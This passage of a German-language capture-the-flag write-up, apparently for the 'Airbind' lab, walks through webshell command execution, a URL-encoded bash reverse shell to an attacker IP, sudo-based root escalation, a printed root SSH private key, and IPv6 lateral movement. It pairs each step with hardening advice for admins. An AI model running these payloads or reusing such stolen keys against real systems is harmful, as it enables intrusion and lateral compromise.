Empfehlung (Pentester): Die Shell ist hochgeladen und der Pfad bekannt. Einen Listener starten (`nc -lvnp ...`) und dann die Shell über den Browser aufrufen (`http://airbinds.hmv/images/uploads/logos/1723066478-benhacker.php?cmd=...`), um eine Reverse Shell zu erhalten oder Befehle auszuführen.
Empfehlung (Admin): Verzeichnisauflistung deaktivieren. Hochgeladene Dateien immer umbenennen und die Endung kontrollieren/ändern. Ausführung von Skripten in Upload-Verzeichnissen verhindern.

browse http://airbinds.hmv/images/uploads/logos/
===========================================================================

Index of /images/uploads/logos
===========================================================================
[ICO]	Name	                         Last modified    	Size	 
===========================================================================
[]	1723066478-benhacker.php	2024-08-07 21:34 	5.4K	

=========================================================================== 
Apache/2.4.57 (Ubuntu) Server at airbinds.hmv Port 80

Analyse: Ein `netcat`-Listener wird auf Port 9001 gestartet. Anschließend wird die URL der hochgeladenen Shell im Browser aufgerufen (impliziert durch die URL-Angabe). Später wird eine andere Shell-Datei (`1723067040-deni.php`) mit dem Parameter `?cmd=id` aufgerufen.

Bewertung: Der Aufruf von `?cmd=id` bei der `.php`-Datei führt zur Ausgabe `GIF89a; uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Das `GIF89a;` sind die Magic Bytes, die zur Umgehung des Filters verwendet wurden. Die nachfolgende `uid=...`-Ausgabe bestätigt, dass der `system()`-Befehl in der PHP-Shell erfolgreich als Benutzer `www-data` ausgeführt wurde! Der erste Listener (`nc -lvnp 9001`) hat hier noch keine Verbindung erhalten.

Empfehlung (Pentester): Die Code-Ausführung ist bestätigt. Nun den Befehl für eine Reverse Shell senden. Der nächste Schritt zeigt dies.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu Patching und Upload-Sicherheit.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
http://airbinds.hmv/images/uploads/logos/1723066478-benhacker.php 
http://airbinds.hmv/images/uploads/logos/1723067040-deni.php?cmd=id

GIF89a; uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Analyse: Die Webshell wird erneut aufgerufen, diesmal mit einem URL-kodierten Bash-Reverse-Shell-Payload als `cmd`-Parameter: `%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27`. Parallel dazu wird auf dem Angreifer-System erneut ein `nc`-Listener auf Port 9001 gestartet.

Bewertung: Erfolg! Der Listener auf dem Angreifer-System meldet `connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 55760`. Der Angreifer hat nun eine interaktive Shell auf dem Zielsystem als Benutzer `www-data`.

Empfehlung (Pentester): Initial Access erfolgreich! Die Shell stabilisieren (Python PTY, stty raw -echo etc.). Mit der Enumeration für die Privilegieneskalation beginnen.
Empfehlung (Admin): Egress Filtering implementieren, um ausgehende Reverse-Shell-Verbindungen zu blockieren/melden. IDS/IPS zur Erkennung von Shell-Payloads einsetzen. Grundursache (RCE-Schwachstelle) beheben.

http://airbinds.hmv/images/uploads/logos/1723067040-deni.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27
┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 55760
bash: cannot set terminal process group (210): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/images/uploads/logos$ 

Privilege Escalation

Analyse: In der erhaltenen Reverse Shell werden die Benutzeridentität und die `sudo`-Berechtigungen überprüft.

Bewertung: * `id` bestätigt, dass die Shell als `www-data` läuft. * `sudo -l` liefert einen kritischen Fund: `User www-data may run the following commands on ubuntu: (ALL) NOPASSWD: ALL`. Das bedeutet, der Benutzer `www-data` kann jeden beliebigen Befehl (`ALL`) als jeder beliebige Benutzer (`ALL`, standardmäßig root) ohne Passwortabfrage (`NOPASSWD`) ausführen.

Empfehlung (Pentester): Dies ist der einfachste Weg zur Root-Eskalation! Einfach `sudo su` oder `sudo /bin/bash` ausführen, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Absolute Katastrophe! Die Regel `(ALL) NOPASSWD: ALL` für einen Dienstbenutzer wie `www-data` ist eine massive Sicherheitslücke und muss sofort entfernt werden. Sudo-Berechtigungen sollten immer dem Prinzip der geringsten Rechte folgen: Nur spezifische, notwendige Befehle erlauben und `NOPASSWD` nur verwenden, wenn es absolut unumgänglich und der Befehl ungefährlich ist.

www-data@ubuntu:/var/www/html/images/uploads/logos$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/var/www/html/images/uploads/logos$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL

Analyse: Der Pentester nutzt die gefundene `sudo`-Regel, um Root-Rechte zu erlangen.

Bewertung: * `sudo su`: Wechselt den Benutzer zu `root`, ohne Passwortabfrage, da `NOPASSWD: ALL` gesetzt ist. * `id`: Bestätigt, dass der Benutzer nun `root` ist (`uid=0(root)`). * `find / -name *.txt 2>/dev/null`: Sucht nach `.txt`-Dateien im gesamten Dateisystem. Es wird `/root/user.txt` gefunden.

Empfehlung (Pentester): Root-Zugriff erfolgreich! Die Datei `/root/user.txt` auslesen. Auch nach `root.txt` suchen (wahrscheinlich ebenfalls in `/root/`). System weiter untersuchen.
Empfehlung (Admin): Die unsichere `sudo`-Regel entfernen!

www-data@ubuntu:/var/www/html/images/uploads/logos$ sudo su
root@ubuntu:/var/www/html/images/uploads/logos# 
root@ubuntu:/var/www/html/images/uploads/logos# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/ubuntu# find / -name *.txt 2>/dev/null
/root/user.txt

Lateral Movement (IPv6)

Analyse: Als `root` wird der Inhalt des privaten SSH-Schlüssels (`id_rsa`) aus dem Verzeichnis `/root/.ssh` angezeigt. Dieser Schlüssel gehört wahrscheinlich dem Root-Benutzer auf diesem Ubuntu-System.

Bewertung: Es wurde ein privater SSH-Schlüssel für den Root-Benutzer gefunden. Dieser könnte potenziell verwendet werden, um sich ohne Passwort auf anderen Systemen anzumelden, falls der zugehörige öffentliche Schlüssel dort in der `authorized_keys`-Datei eingetragen ist.

Empfehlung (Pentester): Den privaten Schlüssel kopieren und sicher speichern. Prüfen, ob er mit einer Passphrase geschützt ist (sieht auf den ersten Blick nicht so aus). Versuchen, sich mit diesem Schlüssel auf anderen potenziellen Zielen im Netzwerk (insbesondere, wenn sie über IPv6 erreichbar sind, siehe nächste Schritte) als `root` anzumelden.
Empfehlung (Admin): Private SSH-Schlüssel von Root sollten besonders geschützt und idealerweise nicht für die passwortlose Anmeldung verwendet werden. Wenn nötig, mit starken Passphrasen schützen und Zugriff auf die Schlüsseldatei limitieren.

root@ubuntu:~/.ssh# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
EkGwPez9XGBEUAAAALcm9vdEB1YnVudHU=
-----END OPENSSH PRIVATE KEY-----

Analyse: `netstat -net` wird auf dem Ubuntu-System (wo wir Root sind) ausgeführt, um aktive TCP-Netzwerkverbindungen anzuzeigen (`-e` für etablierte, `-t` für TCP, `-n` für numerisch).

Bewertung: Die Ausgabe zeigt zwei etablierte Verbindungen: * Die Reverse Shell (`10.0.3.241:55760` -> `192.168.2.199:9001`). Die lokale IP `10.0.3.241` ist interessant, sie deutet auf ein internes Netzwerk hin (möglicherweise LXC/Docker-Bridge). * Eine Verbindung von Port 80 (`10.0.3.241:80`) zu unserem Angreifer-System (`192.168.2.199:40254`). Dies ist wahrscheinlich die Verbindung, die durch den Aufruf der Webshell im Browser entstanden ist.

Empfehlung (Pentester): Die interne IP `10.0.3.241` notieren. Es scheint, als ob das Ubuntu-System in einem Container oder einer VM mit einem eigenen Subnetz (`10.0.3.0/24`) läuft. Dies könnte für Lateral Movement relevant sein.
Empfehlung (Admin): Netzwerkverbindungen überwachen. Interne Netzwerkstrukturen (wie Docker/LXC-Netzwerke) sollten dokumentiert und gesichert sein.

root@ubuntu:~/.ssh# netstat -net
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode     
tcp        0      0 10.0.3.241:55760        192.168.2.199:9001      ESTABLISHED 33         136584    
tcp6       0      0 10.0.3.241:80           192.168.2.199:40254     ESTABLISHED 33         135272 

Analyse: Auf dem Angreifer-System wird `ping6` verwendet, um IPv6-Hosts im lokalen Netzwerk zu entdecken. * `-I eth0`: Gibt das Interface an, über das gesendet wird. * `ff01::1`: Node-local all-nodes Multicast-Adresse. Sendet an alle IPv6-Knoten auf dem lokalen Interface. * `-c 3`: Sendet 3 Pakete.

Bewertung: Der Ping an `ff01::1` erhält nur Antworten von der eigenen Link-Local-Adresse (`fe80::a00:27ff:fe30:2eda%eth0`). Dies ist nicht sehr nützlich zur Entdeckung anderer Hosts.

Empfehlung (Pentester): Statt `ff01::1` die Adresse `ff02::1` (Link-local all-nodes) verwenden, um alle Hosts im lokalen Netzwerksegment zu erreichen.
Empfehlung (Admin): ICMPv6 (insbesondere Neighbor Discovery) ist für IPv6 essentiell und sollte nicht blockiert werden, aber Monitoring kann sinnvoll sein.

┌──(root㉿CCat)-[/home/ccat/Downloads]
└─# ping6 -I eth0 ff01::1 -c 3
PING ff01::1 (ff01::1) from fe80::a00:27ff:fe30:2eda%eth0 eth0: 56 data bytes
64 bytes from fe80::a00:27ff:fe30:2eda%eth0: icmp_seq=1 ttl=64 time=0.022 ms
64 bytes from fe80::a00:27ff:fe30:2eda%eth0: icmp_seq=2 ttl=64 time=0.035 ms
64 bytes from fe80::a00:27ff:fe30:2eda%eth0: icmp_seq=3 ttl=64 time=0.033 ms

--- ff01::1 ping statistics ---

Analyse: Auf dem Ubuntu-System (als Root) wird die Routing-Tabelle angezeigt.

Bewertung: Die Routing-Tabelle zeigt: * Ein Default-Gateway `10.0.3.1` über das Interface `eth0`. * Das lokale Subnetz `10.0.3.0/24` ist direkt über `eth0` erreichbar. Dies bestätigt, dass das Ubuntu-System in einem internen `10.0.3.0/24`-Netzwerk läuft und `10.0.3.1` das Gateway zu anderen Netzen ist.

Empfehlung (Pentester): Das Gateway `10.0.3.1` und das Subnetz `10.0.3.0/24` als potenzielle Ziele für weiteres Lateral Movement untersuchen. Gibt es andere Hosts in diesem Netz? Läuft etwas Interessantes auf dem Gateway?
Empfehlung (Admin): Interne Netzwerke segmentieren und Firewalls zwischen Segmenten implementieren.

root@ubuntu:~/.ssh# ip route show
default via 10.0.3.1 dev eth0 proto static 
10.0.3.0/24 dev eth0 proto kernel scope link src 10.0.3.241 

Analyse: Erneuter `ping6`-Versuch vom Angreifer-System, diesmal an die korrekte Link-Local All-Nodes Multicast-Adresse `ff02::1`.

Bewertung: Dieser Scan ist erfolgreich und enthüllt mehrere IPv6-fähige Hosts im lokalen Netzwerk anhand ihrer Link-Local-Adressen (`fe80::...%eth0`): * `fe80::a00:27ff:fe30:2eda`: Das eigene Angreifer-System. * `fe80::a00:27ff:fedc:2a3b`: Das ursprüngliche Zielsystem `airbinds.hmv` (MAC: `08:00:27:dc:2a:3b`). * `fe80::1`: Wahrscheinlich das Default-Gateway (`192.168.2.1`). * `fe80::6f7:78ff:feda:acf3`: Ein unbekannter Host. * `fe80::8247:86ff:fe96:f63a`: Ein weiterer unbekannter Host. * `fe80::ccf4:81ff:fe80:c5d4`: Noch ein unbekannter Host.

Empfehlung (Pentester): Die gefundenen IPv6 Link-Local-Adressen, insbesondere `fe80::a00:27ff:fedc:2a3b` (das Airbind-Hostsystem) und die unbekannten Hosts, sind potenzielle Ziele. Versuchen, sich per SSH mit dem gefundenen Root-Schlüssel auf diesen Hosts anzumelden.
Empfehlung (Admin): IPv6-Sicherheit berücksichtigen. Ungenutzte IPv6-Stacks deaktivieren. IPv6-Firewall-Regeln implementieren. Link-Local-Adressen können für Angriffe innerhalb des lokalen Segments genutzt werden.

┌──(root㉿CCat)-[/home/ddd/Downloads]
└─# ping6 -I eth0 ff02::1
ping6: Warning: IPv6 link-local address on ICMP datagram socket may require ifname or scope-id => use: address%
ping6: Warning: source address might be selected on device other than: eth0
PING ff02::1 (ff02::1) from :: eth0: 56 data bytes
64 bytes from fe80::a00:27ff:fe30:2eda%eth0: icmp_seq=1 ttl=64 time=0.032 ms
64 bytes from fe80::a00:27ff:fedc:2a3b%eth0: icmp_seq=1 ttl=255 time=0.443 ms
64 bytes from fe80::1%eth0: icmp_seq=1 ttl=255 time=0.827 ms
64 bytes from fe80::6f7:78ff:feda:acf3%eth0: icmp_seq=1 ttl=64 time=2.82 ms
64 bytes from fe80::8247:86ff:fe96:f63a%eth0: icmp_seq=1 ttl=255 time=68.6 ms
64 bytes from fe80::ccf4:81ff:fe80:c5d4%eth0: icmp_seq=1 ttl=255 time=297 ms 

Analyse: Es wird versucht, sich vom Angreifer-System per SSH mit dem zuvor gefundenen Root-Schlüssel (`-i id_rsa`) auf zwei der per IPv6 entdeckten Hosts anzumelden. * Erster Versuch: `ssh -i id_rsa root@fe80::6f7:78ff:feda:acf3%eth0 -v` (mit Verbose-Modus `-v`). * Zweiter Versuch: `ssh -i id_rsa root@fe80::a00:27ff:fedc:2a3b%eth0`.

Bewertung: * Der erste Versuch (auf `fe80::6f7:...`) scheitert mit `Connection refused`. Auf diesem Host läuft kein SSH-Server auf Port 22 oder die Verbindung wird blockiert. * Der zweite Versuch (auf `fe80::a00:27ff:fedc:2a3b`, die Link-Local-Adresse des ursprünglichen Airbind-Systems) ist erfolgreich! Nach Bestätigung des Host-Keys wird der Pentester als `root@airbind` angemeldet. Dies stellt ein erfolgreiches Lateral Movement dar, vom Ubuntu-Container (wo Root erlangt wurde) zum Host-System `airbind`.

Empfehlung (Pentester): Erfolg! Man befindet sich nun als Root auf dem Hostsystem `airbind`. Das System untersuchen (`ifconfig`, `ip route show`, `ls /root` etc.), um die Umgebung zu verstehen und die Root-Flag zu finden.
Empfehlung (Admin): SSH-Zugriff auf Hostsysteme einschränken. Wenn möglich, Root-Login per SSH verbieten (`PermitRootLogin no` in `sshd_config`) und Key-basierte Authentifizierung für reguläre Benutzer erzwingen. Den privaten Schlüssel des kompromittierten Ubuntu-Containers als kompromittiert betrachten und von allen `authorized_keys`-Dateien entfernen.

┌──(root㉿CCat)-[/home/ccat/Downloads]
└─# ssh -i id_rsa root@fe80::6f7:78ff:feda:acf3%eth0 -v
OpenSSH_9.7p1 Debian-7, OpenSSL 3.2.2 4 Jun 2024
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Reading configuration data /etc/ssh/ssh_config.d/20-systemd-ssh-proxy.conf
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to fe80::6f7:78ff:feda:acf3%eth0 [fe80::6f7:78ff:feda:acf3%eth0] port 22.
debug1: connect to address fe80::6f7:78ff:feda:acf3%eth0 port 22: Connection refused
ssh: connect to host fe80::6f7:78ff:feda:acf3%eth0 port 22: Connection refused
┌──(root㉿CCat)-[/home/ccat/Downloads]
└─# ssh -i id_rsa root@fe80::a00:27ff:fedc:2a3b%eth0
The authenticity of host 'fe80::a00:27ff:fedc:2a3b%eth0 (fe80::a00:27ff:fedc:2a3b%eth0)' can't be established.
ED25519 key fingerprint is SHA256:La9YyHs4GERVO8XTRRw0cLh6XcInXX35Ar9OiMsXwQk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fe80::a00:27ff:fedc:2a3b%eth0' (ED25519) to the list of known hosts.
Linux airbind 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@airbind:~# 

Analyse: Auf dem Hostsystem `airbind` werden die Netzwerkkonfiguration und die Routing-Tabelle überprüft.

Bewertung: * `ifconfig`: Zeigt das Interface `enp0s3` mit der IPv4-Adresse `192.168.2.106` und der IPv6 Link-Local-Adresse `fe80::a00:27ff:fedc:2a3b` sowie einer globalen IPv6-Adresse. * `ip route show`: Zeigt das Default-Gateway `192.168.2.1` für IPv4. Interessanterweise zeigt es auch das interne LXC/Docker-Netzwerk `10.0.3.0/24` über das Interface `lxcbr0` (wo das Ubuntu-System läuft) und ein weiteres Netzwerk `192.168.10.0/24` über `wlan1`. Dies bestätigt, dass wir uns auf dem Host befinden, der den Ubuntu-Container und möglicherweise weitere Netzwerkschnittstellen verwaltet.

Empfehlung (Pentester): Die Netzwerkstruktur verstehen. Das `lxcbr0`-Interface und das `wlan1`-Interface könnten weitere Angriffspunkte oder Informationsquellen sein. Nach der Root-Flag suchen.
Empfehlung (Admin): Hostsysteme härten. Zugriff auf Management-Interfaces (wie `lxcbr0`) einschränken. Unnötige Interfaces (wie `wlan1`, falls nicht benötigt) deaktivieren.

root@airbind:~# ifconfig
enp0s3: flags=4163  mtu 1500
        inet 192.168.2.106  netmask 255.255.255.0  broadcast 192.168.2.255
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        inet6 fe80::a00:27ff:fedc:2a3b  prefixlen 64  scopeid 0x20
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        inet6 2003:d4:c71f:d323:a00:27ff:fedc:2a3b  prefixlen 64  scopeid 0x0
        ether 08:00:27:dc:2a:3b  txqueuelen 1000  (Ethernet)
        RX packets 8079619  bytes 1282782134 (1.1 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8021464  bytes 3820678643 (3.5 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
root@airbind:~# ip route show
default via 192.168.2.1 dev enp0s3 
10.0.3.0/24 dev lxcbr0 proto kernel scope link src 10.0.3.1 
169.254.0.0/16 dev wlan1 scope link metric 1000 
192.168.2.0/24 dev enp0s3 proto kernel scope link src 192.168.2.106 
192.168.10.0/24 dev wlan1 proto kernel scope link src 192.168.10.1 
root@ubuntu:~/.ssh# ip route show
default via 10.0.3.1 dev eth0 proto static 
10.0.3.0/24 dev eth0 proto kernel scope link src 10.0.3.241 

Analyse: Als `root` auf dem Hostsystem `airbind` wird das Root-Home-Verzeichnis aufgelistet und der Inhalt der Datei `root.txt` angezeigt.

Bewertung: Die Root-Flag wird erfolgreich gefunden und lautet `2bd693135712f88726c22770278a2dcf`.

Empfehlung (Pentester): Root-Flag dokumentieren. Bericht abschließen.
Empfehlung (Admin): Flags sicher speichern und Berechtigungen prüfen.

root@airbind:~# ls
root.txt
root@airbind:~# cat root.txt
2bd693135712f88726c22770278a2dcf

Flags

cat /root/user.txt (auf ubuntu)
4408f370877687429c6ab332e6f560d0
cat /root/root.txt (auf airbind)
2bd693135712f88726c22770278a2dcf